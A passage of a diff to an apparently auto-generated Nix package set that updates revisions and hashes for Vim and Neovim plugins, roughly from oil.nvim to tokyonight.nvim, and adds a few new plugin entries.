"04hsdz0ma7q4c7bs89si2hdjnds5rybagh7z1jnl8xc52kxf2lwk"; + rev = "feae1e5519deebad3c59ee1d57d28aa22822f7c8"; + sha256 = "0nvd93ml9gv20qh7bl1q69bk7ya6k3lnl49ywhaixh41f28z39wf"; }; meta.homepage = "https://github.com/pwntester/octo.nvim/"; }; oil-nvim = buildVimPlugin { pname = "oil.nvim"; - version = "2024-01-22"; + version = "2024-02-23"; src = fetchFromGitHub { owner = "stevearc"; repo = "oil.nvim"; - rev = "bf753c3e3f8736939ad5597f92329dfe7b1df4f5"; - sha256 = "02wjsfhhq8lrai18m3khv7sln070cmwgr7jqp537dwl47v4pq4z3"; + rev = "132b4ea0740c417b9d717411cab4cf187e1fd095"; + sha256 = "085n2mfsv0gmz4f31wpzld804033h73mm7zfhni6xa8ffd7vvldj"; fetchSubmodules = true; }; meta.homepage = "https://github.com/stevearc/oil.nvim/"; @@ -8015,6 +8291,18 @@ final: prev: meta.homepage = "https://github.com/nomnivore/ollama.nvim/"; }; + omni-vim = buildVimPlugin { + pname = "omni.vim"; + version = "2022-06-17"; + src = fetchFromGitHub { + owner = "yonlu"; + repo = "omni.vim"; + rev = "6c0f3015b1d6f2ae59c12cc380c629b965d3dc62"; + sha256 = "0mb3qb2yv4y57xp3548wrlnlyrshxjv511lwmzb9k0xnyig6mgmx"; + }; + meta.homepage = "https://github.com/yonlu/omni.vim/"; + }; + omnisharp-extended-lsp-nvim = buildVimPlugin { pname = "omnisharp-extended-lsp.nvim"; version = "2023-12-25"; @@ -8041,12 +8329,12 @@ final: prev: onedark-nvim = buildVimPlugin { pname = "onedark.nvim"; - version = "2024-01-22"; + version = "2024-01-29"; src = fetchFromGitHub { owner = "navarasu"; repo = "onedark.nvim"; - rev = "14e5de43cf1ff761c280d1ff5b9980897f5b46c7"; - sha256 = "16c3hqpn11bqa39b02x5dn94ny5i3pkyn80gkrcdvibp7zdxjfwf"; + rev = "1230aaf2a427b2c5b73aba6e4a9a5881d3e69429"; + sha256 = "1npc9x2r0aass9swxmhryia90ar7f4nx8j456jzlf66lzbr8xrnp"; }; meta.homepage = "https://github.com/navarasu/onedark.nvim/"; }; @@ -8063,14 +8351,26 @@ final: prev: meta.homepage = "https://github.com/joshdick/onedark.vim/"; }; + onedarker-nvim = buildVimPlugin { + pname = "onedarker.nvim"; + version = "2022-10-10"; + src = fetchFromGitHub { + owner = "LunarVim"; + repo = "onedarker.nvim"; + rev = "b4f92f073ed7cdf0358ad005cee0484411232b1b"; + sha256 = "121bympiikzwgbklpbzvp9f0izm3bz9mqndv3wj796qb853ap48c"; + }; + meta.homepage = "https://github.com/LunarVim/onedarker.nvim/"; + }; + onedarkpro-nvim = buildVimPlugin { pname = "onedarkpro.nvim"; - version = "2024-01-24"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "olimorris"; repo = "onedarkpro.nvim"; - rev = "e39ebd1d8062acd11b2bc0cfef8ce6d88d26c4f9"; - sha256 = "1vaafhvfzcg1g2llb1swazfjy24safc57lkyxd6f0cdh0hxiykx6"; + rev = "0059f3f9b21daf3540f1108c2bab3fa9e9082331"; + sha256 = "1jiisdy9b9ia806fiq635r2ljqrd8caxpvk3xmrc3w04xhsnb38y"; }; meta.homepage = "https://github.com/olimorris/onedarkpro.nvim/"; }; @@ -8089,12 +8389,12 @@ final: prev: onenord-nvim = buildVimPlugin { pname = "onenord.nvim"; - version = "2024-01-20"; + version = "2024-03-01"; src = fetchFromGitHub { owner = "rmehri01"; repo = "onenord.nvim"; - rev = "c2219394f20ab4d256d7cf78d6c82dea75491a2a"; - sha256 = "06dwlckfhvzgmfq13a6259krhs69z5r5yp4wqnwf17wvj80n1vvd"; + rev = "1527c93d7fcaea743f5ad8f1c58b11bbcffb38bc"; + sha256 = "0k5lcc3cml0bh9dwbkyyp7hj0wp783zzhl9k17ckv4kc56fz6qs4"; }; meta.homepage = "https://github.com/rmehri01/onenord.nvim/"; }; @@ -8125,12 +8425,12 @@ final: prev: openingh-nvim = buildVimPlugin { pname = "openingh.nvim"; - version = "2023-10-31"; + version = "2024-02-02"; src = fetchFromGitHub { owner = "Almo7aya"; repo = "openingh.nvim"; - rev = "5c9e851d7c26fdb236dfea8866b71fefe7ddeffc"; - sha256 = "0xq2s7vwjfxqm5g7k5c3b9cm9j3ngrx8g4dd9qfzq1s9pfkk3i3y"; + rev = "52e2727cbd7b52cdc7a5bb52c77c07a329db6cba"; + sha256 = "06v4b07ary1swli801ay0g7jd14c7b3pp75vndkxab79nshcs88c"; }; meta.homepage = "https://github.com/Almo7aya/openingh.nvim/"; }; @@ -8149,48 +8449,48 @@ final: prev: orgmode = buildVimPlugin { pname = "orgmode"; - version = "2024-01-24"; + version = "2024-03-01"; src = fetchFromGitHub { owner = "nvim-orgmode"; repo = "orgmode"; - rev = "bd2a65179c814b40ca3073a282507a6a4f2355c1"; - sha256 = "0biqfp0azb2y66zvqlp8y037c4raxhlnwvn89vdpp26d6isyzf93"; + rev = "9d92c8f2c88a95b859710f77fdd8a35fb4c19694"; + sha256 = "1gfy8s1kbiy11p1n9fr10znhc1knqq5ilf2160n9zwd4ms60l97y"; }; meta.homepage = "https://github.com/nvim-orgmode/orgmode/"; }; other-nvim = buildVimPlugin { pname = "other.nvim"; - version = "2023-12-04"; + version = "2024-02-05"; src = fetchFromGitHub { owner = "rgroli"; repo = "other.nvim"; - rev = "d4d926dec6d0e037c1a5f092793b474947ed357e"; - sha256 = "1pqs0sv35p74jgb3p01dqgpvzcdsxg1fmwkrq65nz9lw8zff7q11"; + rev = "d36a66af270b63459c080d4589126a06cf56578c"; + sha256 = "015is3pyjn0jrmz03vsvyiiy8fgwrpd1syfq3zmspyyki7blclcl"; }; meta.homepage = "https://github.com/rgroli/other.nvim/"; }; otter-nvim = buildVimPlugin { pname = "otter.nvim"; - version = "2024-01-22"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "jmbuhr"; repo = "otter.nvim"; - rev = "151b75410e7b6041fb54f48443a80ecd518cb31e"; - sha256 = "08bni1v06agsm9mpq01wdig3shc78i97a7mfbagzlws0wj38qgpq"; + rev = "9f6e9c083e314c471a9f420baa80954b28c539fa"; + sha256 = "1idgx8p2hzcbjvdk69pih5gsagk18x1bdq5a3k17hhj0mcz5hz6q"; }; meta.homepage = "https://github.com/jmbuhr/otter.nvim/"; }; overseer-nvim = buildVimPlugin { pname = "overseer.nvim"; - version = "2024-01-07"; + version = "2024-02-21"; src = fetchFromGitHub { owner = "stevearc"; repo = "overseer.nvim"; - rev = "68a2d344cea4a2e11acfb5690dc8ecd1a1ec0ce0"; - sha256 = "0miakpcc11yr7p7yaj9igakkv6dnyngra7p52hc26qm4mnq4ghwd"; + rev = "4855aefcf335bbac71eea9c6a888958fb1ed1e1a"; + sha256 = "1p5cr628qcla3ad1nfnpk9vmaxxspvfjiimyw5n81giywlf136sg"; fetchSubmodules = true; }; meta.homepage = "https://github.com/stevearc/overseer.nvim/"; @@ -8210,12 +8510,12 @@ final: prev: package-info-nvim = buildVimPlugin { pname = "package-info.nvim"; - version = "2023-11-12"; + version = "2024-02-18"; src = fetchFromGitHub { owner = "vuki656"; repo = "package-info.nvim"; - rev = "18f8126dd8e65b2e21804c9107785af4abbb5bfc"; - sha256 = "0b9s9a3nz0449sl8zzf55xk12hrkksvnrnbc38i1la234xhrfpsw"; + rev = "45acce5b12ce824332d8000cc2c91805b6710446"; + sha256 = "19aaswkjx7q85c091p80zypx6az0m5z2jccapng5clvh2j4qw7qf"; }; meta.homepage = "https://github.com/vuki656/package-info.nvim/"; }; @@ -8244,6 +8544,18 @@ final: prev: meta.homepage = "https://github.com/drewtempelmeyer/palenight.vim/"; }; + palenightfall-nvim = buildVimPlugin { + pname = "palenightfall.nvim"; + version = "2023-10-05"; + src = fetchFromGitHub { + owner = "JoosepAlviste"; + repo = "palenightfall.nvim"; + rev = "25a1e7d43256834a671174e5d83edb57f7bec1e0"; + sha256 = "1svfibhrlwxsh4nzyb8hjdfgdakh176pg47vzvkrywafr8mw6ak5"; + }; + meta.homepage = "https://github.com/JoosepAlviste/palenightfall.nvim/"; + }; + palette-nvim = buildVimPlugin { pname = "palette.nvim"; version = "2023-10-02"; @@ -8366,12 +8678,12 @@ final: prev: plantuml-syntax = buildVimPlugin { pname = "plantuml-syntax"; - version = "2022-08-26"; + version = "2024-02-22"; src = fetchFromGitHub { owner = "aklt"; repo = "plantuml-syntax"; - rev = "845abb56dcd3f12afa6eb47684ef5ba3055802b8"; - sha256 = "0d2frv6knkj4bjavq2c2kx8qdnmcq0d8l04a5z7bpqwkmrrhd31f"; + rev = "309c15c77794433f276fb09eb4e3b8f381003cfd"; + sha256 = "0g7yprik607gy01lamql1kpk25sdl54ckfrc9p11rrimal7rms38"; }; meta.homepage = "https://github.com/aklt/plantuml-syntax/"; }; @@ -8390,12 +8702,12 @@ final: prev: plenary-nvim = buildNeovimPlugin { pname = "plenary.nvim"; - version = "2024-01-21"; + version = "2024-01-29"; src = fetchFromGitHub { owner = "nvim-lua"; repo = "plenary.nvim"; - rev = "663246936325062427597964d81d30eaa42ab1e4"; - sha256 = "12cj7f0ghmd58ka9qc1c2qyd5x4cx97wd3avx5ny1x1gb8il013b"; + rev = "4f71c0c4a196ceb656c824a70792f3df3ce6bb6d"; + sha256 = "0kr8c5fgvv7ijsvk4z0c9dawqy58mg5yz9yzx0al2ljax32lfqh1"; }; meta.homepage = "https://github.com/nvim-lua/plenary.nvim/"; }; @@ -8523,12 +8835,12 @@ final: prev: promise-async = buildVimPlugin { pname = "promise-async"; - version = "2023-11-28"; + version = "2024-02-27"; src = fetchFromGitHub { owner = "kevinhwang91"; repo = "promise-async"; - rev = "94f6f03c6c1e2aab551aacdf0c1e597a7269abb6"; - sha256 = "0davvjhc5pxa8j3l7njqk9dqc7m9f4hg037xcz0nr23ihhs2ja96"; + rev = "93540c168c5ed2b030ec3e6c40ab8bbb85e36355"; + sha256 = "059icgs1hi7sl1mjgrg468mz2p21ahag5j0wpwmc9by7sf99da5z"; }; meta.homepage = "https://github.com/kevinhwang91/promise-async/"; }; @@ -8596,12 +8908,12 @@ final: prev: quarto-nvim = buildVimPlugin { pname = "quarto-nvim"; - version = "2023-11-29"; + version = "2024-02-19"; src = fetchFromGitHub { owner = "quarto-dev"; repo = "quarto-nvim"; - rev = "0a35b3890e9d723b730506d7d8b3ba3d0d6aae2e"; - sha256 = "1pkyr1pqq9dfk0s7f8rfqkg5zqhi9ss818wv54v9gnhvmwnw30mk"; + rev = "a6e7452de5944f7f38a4b12f1d50e460c1dccd95"; + sha256 = "0l2qgz51yh4pvx494k8p34xrda4mg38m9dwhy9sdxw01qy910xp8"; }; meta.homepage = "https://github.com/quarto-dev/quarto-nvim/"; }; @@ -8644,12 +8956,12 @@ final: prev: quickmath-nvim = buildVimPlugin { pname = "quickmath.nvim"; - version = "2023-03-12"; + version = "2024-02-12"; src = fetchFromGitHub { owner = "jbyuki"; repo = "quickmath.nvim"; - rev = "dcfc5450fa686714817a0d4767299f37f94bdb43"; - sha256 = "1rmbrdxz26f4b12yvb4yjb6b3rn89nky6an4wclh4c68li70h54l"; + rev = "7a9a6599018aa931a8fe7ad2e4cb2f36db533d19"; + sha256 = "0192am8bligkjzzwarkgwk6cja2jkya6ixraybz64yp0mk6lha5r"; }; meta.homepage = "https://github.com/jbyuki/quickmath.nvim/"; }; @@ -8668,11 +8980,11 @@ final: prev: rainbow-delimiters-nvim = buildVimPlugin { pname = "rainbow-delimiters.nvim"; - version = "2024-01-22"; + version = "2024-02-29"; src = fetchgit { url = "https://gitlab.com/HiPhish/rainbow-delimiters.nvim"; - rev = "35530b4ad48f01bdaa852da34e4de9930fb54c89"; - sha256 = "04a36454m0vhwmq6xfg75252yhck54b58n18kshm9z0razsg4j7m"; + rev = "cfc3f53cfa0fbabd95bd33747288aea24fe45211"; + sha256 = "07qd0875h1ccvpx8kvb0wl0qvbgz6hcg2lwhsqwv1jmi7d95sib8"; }; meta.homepage = "https://gitlab.com/HiPhish/rainbow-delimiters.nvim"; }; @@ -8751,12 +9063,12 @@ final: prev: refactoring-nvim = buildVimPlugin { pname = "refactoring.nvim"; - version = "2024-01-22"; + version = "2024-02-27"; src = fetchFromGitHub { owner = "theprimeagen"; repo = "refactoring.nvim"; - rev = "f4546284059f7dc01f65be93d03f6c850fd2aba1"; - sha256 = "190438nnqw9nra3vrrpcfw2nib3s2jzld6iyd1kniarlggid4fwd"; + rev = "94444558fc651b7e36f39d86c518e44b4de15123"; + sha256 = "005bmgmlpqn876mjgykh072z1n4vl7xk76hxp99hqys7vp65b6gr"; }; meta.homepage = "https://github.com/theprimeagen/refactoring.nvim/"; }; @@ -8811,12 +9123,12 @@ final: prev: rest-nvim = buildNeovimPlugin { pname = "rest.nvim"; - version = "2024-01-24"; + version = "2024-02-18"; src = fetchFromGitHub { owner = "rest-nvim"; repo = "rest.nvim"; - rev = "3035cab370f806651704d5af5d18cbf0b0be0840"; - sha256 = "0v04cc7mgzk7l8dznjqx7vaghh66c2x32zy0kjvwhyb64n07zwxv"; + rev = "c27a0bcb84ab5534d89065d638119ed2dbbae189"; + sha256 = "078w4zr4h302i3d5vd31qypxr2yxhnz0yxkpgvam2z0l3mp07qz0"; }; meta.homepage = "https://github.com/rest-nvim/rest.nvim/"; }; @@ -8835,12 +9147,12 @@ final: prev: rnvimr = buildVimPlugin { pname = "rnvimr"; - version = "2023-08-06"; + version = "2024-03-01"; src = fetchFromGitHub { owner = "kevinhwang91"; repo = "rnvimr"; - rev = "5f0483d1c107ab1fe7e0af08cdf7900aa0dcb40e"; - sha256 = "0qcq33hlbh016x76wpn956wkpc9dy89w2x7gngzr7frx084skjwg"; + rev = "3c41af742a61caf74a9f83fb82b9ed03ef13b880"; + sha256 = "0aynxmpgmdyd7x5dnqk3s4v0xli0q6s1h7al9kmr66rrimmwh02n"; }; meta.homepage = "https://github.com/kevinhwang91/rnvimr/"; }; @@ -8931,12 +9243,12 @@ final: prev: rustaceanvim = buildNeovimPlugin { pname = "rustaceanvim"; - version = "2024-01-25"; + version = "2024-02-27"; src = fetchFromGitHub { owner = "mrcjkb"; repo = "rustaceanvim"; - rev = "87fc16de1360cda02470824a17e0073967bf29f1"; - sha256 = "0j3kysif91m3dldk5fwh8r4qxsakr6yk1q6iyi9wajnqdkgxkzcy"; + rev = "b5342fcd1f8dc694d375983c60df928b58a02eb4"; + sha256 = "10slkraz8ap0apv2jii9ympxnxrr3rygazlz1qh6bbdnvy4s7hcx"; }; meta.homepage = "https://github.com/mrcjkb/rustaceanvim/"; }; @@ -8967,12 +9279,12 @@ final: prev: satellite-nvim = buildVimPlugin { pname = "satellite.nvim"; - version = "2024-01-12"; + version = "2024-02-16"; src = fetchFromGitHub { owner = "lewis6991"; repo = "satellite.nvim"; - rev = "99610b77fe2e047d2e55d70a256bcf63953eb6d7"; - sha256 = "1i7l2r3kwcv3sixsjlh0wyhafl60cam0bgygc483qrn4jgdxqhzy"; + rev = "40eb89743e3439c66192abfc31eb3280622a5d3c"; + sha256 = "1zi3m7zhjl9naggmq9z81x9lfvahjs9bmp43d6b1p1idxa716pij"; }; meta.homepage = "https://github.com/lewis6991/satellite.nvim/"; }; @@ -9099,12 +9411,12 @@ final: prev: sg-nvim = buildVimPlugin { pname = "sg.nvim"; - version = "2024-01-15"; + version = "2024-02-02"; src = fetchFromGitHub { owner = "sourcegraph"; repo = "sg.nvim"; - rev = "691e138a86ccb4083c46ff62ab5eb53f9148696d"; - sha256 = "0qgrycxckx7ffz0rkdj1nc7bfgl5n5mhcj56sn96vrhgbzlpli7q"; + rev = "d8286f431981f32e5e6e494c8a6f9ffbd2ee1428"; + sha256 = "197bg1ndc33s2bcb026qy2cwazgaz9djgw1g9fcp7gj0ki900h1d"; }; meta.homepage = "https://github.com/sourcegraph/sg.nvim/"; }; @@ -9172,12 +9484,12 @@ final: prev: smart-splits-nvim = buildVimPlugin { pname = "smart-splits.nvim"; - version = "2024-01-11"; + version = "2024-03-01"; src = fetchFromGitHub { owner = "mrjones2014"; repo = "smart-splits.nvim"; - rev = "36bfe63246386fc5ae2679aa9b17a7746b7403d5"; - sha256 = "1gkxms47i52xadrdzh60zqp00gy2ai391cybw9n7ar0ar5xcjp1c"; + rev = "1339ffe7426d1b20f179ffc03f858eaab38376c0"; + sha256 = "0k00z8kvqzzkb0vmcgv24yzcxl4girw86avmg6pkjnyp273y9l11"; }; meta.homepage = "https://github.com/mrjones2014/smart-splits.nvim/"; }; @@ -9256,12 +9568,12 @@ final: prev: sonokai = buildVimPlugin { pname = "sonokai"; - version = "2024-01-23"; + version = "2024-02-13"; src = fetchFromGitHub { owner = "sainnhe"; repo = "sonokai"; - rev = "42822f8f9b3a5088f05cf72a0aa1477598ad1a40"; - sha256 = "1k881larnnqwsm9fanqp7nbiqpd03m779prshky9hy50hywl5vv2"; + rev = "a62656a798043f3c6b603efa98d4de2da89c72b2"; + sha256 = "09l69n5j80pdb5awja3mzlsw5i7f1w1jp1xwfq72wrcap96xyk3g"; }; meta.homepage = "https://github.com/sainnhe/sonokai/"; }; @@ -9388,12 +9700,12 @@ final: prev: splitjoin-vim = buildVimPlugin { pname = "splitjoin.vim"; - version = "2024-01-08"; + version = "2024-02-23"; src = fetchFromGitHub { owner = "AndrewRadev"; repo = "splitjoin.vim"; - rev = "503e56ed103b58b6bd0880a3e61225c8b1c40033"; - sha256 = "0yw3dzhngk2pqcm40cd3vkqij4m7pkh7f0phvl3mmmy8x5kw2zh6"; + rev = "1aa617d15a9904107a68f95ebf5036b7d4abf64d"; + sha256 = "1yjygjjiiv5572ccqn00wk7dc7q30r6jnvxv85qrz5bnvvfymvvs"; fetchSubmodules = true; }; meta.homepage = "https://github.com/AndrewRadev/splitjoin.vim/"; @@ -9401,24 +9713,24 @@ final: prev: sqlite-lua = buildVimPlugin { pname = "sqlite.lua"; - version = "2023-04-19"; + version = "2024-02-19"; src = fetchFromGitHub { owner = "kkharji"; repo = "sqlite.lua"; - rev = "b7e28c8463254c46a8e61c52d27d6a2040492fc3"; - sha256 = "0dx4d29zfp7psp2x42lpag0midadk51fcjiyw4hq570sd0j44jaw"; + rev = "40701b6151f8883980c1548647116de39b763540"; + sha256 = "106j1zzsr97jr0pk6ri2jxdpvqc2ci7g8rlsbb5s30lsqr4ix0ah"; }; meta.homepage = "https://github.com/kkharji/sqlite.lua/"; }; srcery-vim = buildVimPlugin { pname = "srcery-vim"; - version = "2024-01-05"; + version = "2024-02-17"; src = fetchFromGitHub { owner = "srcery-colors"; repo = "srcery-vim"; - rev = "b020d2a1eed0d578ae195fba2b9c6841cc886c57"; - sha256 = "1p0d7zkgb05w1zz4xy5gc5shhlmyzxkhcfv382bvva5qzrrcvk80"; + rev = "289c6a1499b074c15e30cf437364837dd4966f83"; + sha256 = "1k14nwndx7z3hy7d81zghrrl641bfgpq61n5j0nsrd0kk2xiym61"; }; meta.homepage = "https://github.com/srcery-colors/srcery-vim/"; }; @@ -9459,6 +9771,18 @@ final: prev: meta.homepage = "https://github.com/luukvbaal/stabilize.nvim/"; }; + staline-nvim = buildVimPlugin { + pname = "staline.nvim"; + version = "2024-02-28"; + src = fetchFromGitHub { + owner = "tamton-aquib"; + repo = "staline.nvim"; + rev = "c0f0d4ab31e0fe4aea466a016a81ca560bcaa7b8"; + sha256 = "0k5yd2l8v697djamw5p2k4pfbiy8cwszbln6y1h1c77viq7pm78w"; + }; + meta.homepage = "https://github.com/tamton-aquib/staline.nvim/"; + }; + stan-vim = buildVimPlugin { pname = "stan-vim"; version = "2023-12-13"; @@ -9509,16 +9833,28 @@ final: prev: statuscol-nvim = buildVimPlugin { pname = "statuscol.nvim"; - version = "2023-12-23"; + version = "2024-02-23"; src = fetchFromGitHub { owner = "luukvbaal"; repo = "statuscol.nvim"; - rev = "3b629754420919575a9e5758027d6e1831dbf2aa"; - sha256 = "1qbvcrqih5w2dxf0gd9rnw1vmx0mzsi52i38i0zp44kflgp432h3"; + rev = "d954893262a57a92e46edd87de67e2b3fe72305e"; + sha256 = "1i8nvhbrcsinydd1ppnrw6lr3izh1dwp860hr7axyfjgqxgx39f8"; }; meta.homepage = "https://github.com/luukvbaal/statuscol.nvim/"; }; + styler-nvim = buildVimPlugin { + pname = "styler.nvim"; + version = "2024-01-19"; + src = fetchFromGitHub { + owner = "folke"; + repo = "styler.nvim"; + rev = "2cd29996d08cec8b31270c6de64465f716ef9d71"; + sha256 = "0lml1hizypx26n80ghaibh3wkazd21phak0af5936y46c54xi2dk"; + }; + meta.homepage = "https://github.com/folke/styler.nvim/"; + }; + stylish-nvim = buildVimPlugin { pname = "stylish.nvim"; version = "2022-02-01"; @@ -9666,12 +10002,12 @@ final: prev: tabby-nvim = buildVimPlugin { pname = "tabby.nvim"; - version = "2024-01-08"; + version = "2024-02-13"; src = fetchFromGitHub { owner = "nanozuki"; repo = "tabby.nvim"; - rev = "55712426431b12beae5f12e731cfb1d707632a3d"; - sha256 = "16543b3mjqlba03bmgv961fdc8gk1cz3b3djivf10b8597rlf9sy"; + rev = "c4df244245e116280c961112cf6ee221ca3bc294"; + sha256 = "0mnwdhnqrcl746hzm6v9g6n2f3hy8dkk9gn19nmi32xsybw4hpxx"; }; meta.homepage = "https://github.com/nanozuki/tabby.nvim/"; }; @@ -9727,12 +10063,12 @@ final: prev: tabout-nvim = buildVimPlugin { pname = "tabout.nvim"; - version = "2023-03-29"; + version = "2024-02-18"; src = fetchFromGitHub { owner = "abecodes"; repo = "tabout.nvim"; - rev = "0d275c8d25f32457e67b5c66d6ae43f26a61bce5"; - sha256 = "11zly7bfdz110a7ififylzgizin06ia0i3jipzp12n2n2paarp1f"; + rev = "6a8f4e67a9bfc9bfc9989cc45253180598cc4339"; + sha256 = "0j4n6f8k2054v77pm458q0qf36ipyk31lplm2m4fszxq0sq0kmwp"; }; meta.homepage = "https://github.com/abecodes/tabout.nvim/"; }; @@ -9775,12 +10111,12 @@ final: prev: tagbar = buildVimPlugin { pname = "tagbar"; - version = "2023-12-21"; + version = "2024-01-26"; src = fetchFromGitHub { owner = "preservim"; repo = "tagbar"; - rev = "fcd31ec145bbc628b90371be381717a1498b7c12"; - sha256 = "04hv2fm8f2s4bczn3mdgm6wl690lnchxmv1k2iyjwsa79gkhcn5h"; + rev = "12edcb59449b335555652898f82dd6d5c59d519a"; + sha256 = "14nl91jzpbj0rd3w96qjl1z6w64y27ss3hiw08lpfhqd7f929x5b"; }; meta.homepage = "https://github.com/preservim/tagbar/"; }; @@ -9823,12 +10159,12 @@ final: prev: taskwiki = buildVimPlugin { pname = "taskwiki"; - version = "2022-12-14"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "tools-life"; repo = "taskwiki"; - rev = "7a74ad8ed3743142830ba29a599c7bd23dd2b158"; - sha256 = "0nj5ndfd0rlvmr6h7mb1vzlka3d0ybj7m70ly521na17j9q4vlg0"; + rev = "0ee63dd1f5d80be3296f14070211f4ade96d0e36"; + sha256 = "0njp2jy76vl2m627iswi6dmfqbp04da7q2p4lc32n1a4p7b2vfcc"; }; meta.homepage = "https://github.com/tools-life/taskwiki/"; }; @@ -9847,12 +10183,12 @@ final: prev: telekasten-nvim = buildVimPlugin { pname = "telekasten.nvim"; - version = "2023-12-11"; + version = "2024-02-27"; src = fetchFromGitHub { owner = "renerocksai"; repo = "telekasten.nvim"; - rev = "8c2b3889eb31009ae510a43384d1957b37654176"; - sha256 = "1isbz68lbdm50x9mid0l1jid8q11msfsaayw8ravac0z5ybdb8k3"; + rev = "a684d6ebe7026944b0a5323219d5f5364511e5b2"; + sha256 = "03hsj2rfhllpxy0x8nr5sjp2krfg51ib0771bqmwycnlfg3cp1bw"; fetchSubmodules = true; }; meta.homepage = "https://github.com/renerocksai/telekasten.nvim/"; @@ -9908,24 +10244,24 @@ final: prev: telescope-file-browser-nvim = buildVimPlugin { pname = "telescope-file-browser.nvim"; - version = "2024-01-13"; + version = "2024-02-15"; src = fetchFromGitHub { owner = "nvim-telescope"; repo = "telescope-file-browser.nvim"; - rev = "6f735a63dc24b9aed527cd505a31864223c8a6d8"; - sha256 = "10ppgwzh839riksx8a3gg2nhyqhifam8s9p5p0nyjkcpq0zbgcy3"; + rev = "48ffb8de688a22942940f50411d5928631368848"; + sha256 = "0f00kag7jjs7h9mz43jik45xmffvz0biiyj37qkzkq7s6zjgh7ml"; }; meta.homepage = "https://github.com/nvim-telescope/telescope-file-browser.nvim/"; }; telescope-frecency-nvim = buildVimPlugin { pname = "telescope-frecency.nvim"; - version = "2024-01-22"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "nvim-telescope"; repo = "telescope-frecency.nvim"; - rev = "1189184484e3153533af66b219f9ed59263a403c"; - sha256 = "0fjl8bjmnm4gy8dxc0596sajf24sd5w2z1p6bwfpjisapykf41hb"; + rev = "771726f7d6e7e96e9273e454b1c1f49168663a37"; + sha256 = "06xwzib8x3c7l9dkrh3w9f6sy1vch6zy37hpy20hd5i38pks1x56"; }; meta.homepage = "https://github.com/nvim-telescope/telescope-frecency.nvim/"; }; @@ -10005,12 +10341,12 @@ final: prev: telescope-manix = buildNeovimPlugin { pname = "telescope-manix"; - version = "2024-01-15"; + version = "2024-02-28"; src = fetchFromGitHub { owner = "MrcJkb"; repo = "telescope-manix"; - rev = "127033f39a16c0fd48128653b4cee9b17fcc80a3"; - sha256 = "1hsplynqmgbknbkz5b769a401i3hch1kvxdzxpx15jadq5lb169p"; + rev = "d08cb87f8789dbab4be37713ff50c3acbe85787d"; + sha256 = "0y3n270zkii123r3987xzvp194dl0q1hy234v95w7l48cf4v495k"; }; meta.homepage = "https://github.com/MrcJkb/telescope-manix/"; }; @@ -10077,12 +10413,12 @@ final: prev: telescope-ultisnips-nvim = buildVimPlugin { pname = "telescope-ultisnips.nvim"; - version = "2021-09-26"; + version = "2024-02-09"; src = fetchFromGitHub { owner = "fhill2"; repo = "telescope-ultisnips.nvim"; - rev = "f48b6d4f53b31507d3fd514905c6940409e8ada8"; - sha256 = "0333k3m0fygc4r7w56csf0h282gf2wqrykl52n6310i9vardyqw7"; + rev = "d1cca4b5aa809a90b7a8caddeb860329d5a8c2ff"; + sha256 = "1nnxyc70b5zsgdylfzag2g4xl2p62v9ynx8nqv13fdn8s2g4lrvm"; }; meta.homepage = "https://github.com/fhill2/telescope-ultisnips.nvim/"; }; @@ -10125,12 +10461,12 @@ final: prev: telescope-zf-native-nvim = buildVimPlugin { pname = "telescope-zf-native.nvim"; - version = "2023-03-15"; + version = "2024-02-11"; src = fetchFromGitHub { owner = "natecraddock"; repo = "telescope-zf-native.nvim"; - rev = "beb34b6c48154ec117930180f257a5592606d48f"; - sha256 = "1lkgsjmmj006zwvrpr1w48pii1wrzxxanhhl1r302vll62frx94n"; + rev = "c8ac635fb51065bb3a77f51bcec585a8dddf8652"; + sha256 = "19a3p666wdjbnar1ifk73yf02i6gr24818svawsh8h1hsva0zyn8"; fetchSubmodules = true; }; meta.homepage = "https://github.com/natecraddock/telescope-zf-native.nvim/"; @@ -10150,12 +10486,12 @@ final: prev: telescope-nvim = buildNeovimPlugin { pname = "telescope.nvim"; - version = "2024-01-25"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "nvim-telescope"; repo = "telescope.nvim"; - rev = "1bfbb1fb5c56d2dbe33216fcb2ebe82e499aa06c"; - sha256 = "08v642fh91c7mj92jjdjfzx86jmz2plvnlja8p8lwbvz0yvida5r"; + rev = "5f5fc3aa75e9fc824d4fbbb5de31f172b43f620d"; + sha256 = "0yx5160hg3pj4n394jicw7h37px3g9xa6dywlf89zq6fjknj65fw"; }; meta.homepage = "https://github.com/nvim-telescope/telescope.nvim/"; }; @@ -10258,12 +10594,12 @@ final: prev: text-case-nvim = buildVimPlugin { pname = "text-case.nvim"; - version = "2024-01-14"; + version = "2024-02-23"; src = fetchFromGitHub { owner = "johmsalas"; repo = "text-case.nvim"; - rev = "6bc91cde614bbec6f0befbaf7fcd302415d803fb"; - sha256 = "0gbzsw9s6ja5r4acdhd331gna1y03hvr6d11584sklh00xdv497a"; + rev = "d62c63a4e9a996c7321885937ab89920fca2c1c8"; + sha256 = "027cgrh0xwnfgakzibzxj3wh8n8q0x5yqjsvhjgcg53pq0yfdss4"; }; meta.homepage = "https://github.com/johmsalas/text-case.nvim/"; }; @@ -10342,12 +10678,12 @@ final: prev: tmux-nvim = buildVimPlugin { pname = "tmux.nvim"; - version = "2023-10-28"; + version = "2024-02-12"; src = fetchFromGitHub { owner = "aserowy"; repo = "tmux.nvim"; - rev = "ea67d59721eb7e12144ce2963452e869bfd60526"; - sha256 = "020prdsczz2vc5cdb6075fdy1fj5zhvjcirfc46kfp5bahzfarzz"; + rev = "9c02adf16ff2f18c8e236deba91e9cf4356a02d2"; + sha256 = "0lg3zcyd76qfbz90i01jwhxfglsnmggynh6v48lnbz0kj1prik4y"; }; meta.homepage = "https://github.com/aserowy/tmux.nvim/"; }; @@ -10391,24 +10727,24 @@ final: prev: toggleterm-nvim = buildVimPlugin { pname = "toggleterm.nvim"; - version = "2024-01-22"; + version = "2024-02-12"; src = fetchFromGitHub { owner = "akinsho"; repo = "toggleterm.nvim"; - rev = "b49df5cdce67a8964d1b027dae94bde212092b51"; - sha256 = "1102wcz61bcvkiz1ck2cxxb32id9rf2hjhcs82y3x37n831kgvyb"; + rev = "193786e0371e3286d3bc9aa0079da1cd41beaa62"; + sha256 = "0cz6i3xa61mh8s5b9b2z008ay85ggaw02ak9w58wzgmn172q770l"; }; meta.homepage = "https://github.com/akinsho/toggleterm.nvim/"; }; tokyonight-nvim = buildVimPlugin { pname = "tokyonight.nvim"; - version = "2024-01-24"; + version = "2024-01-31"; src = fetchFromGitHub 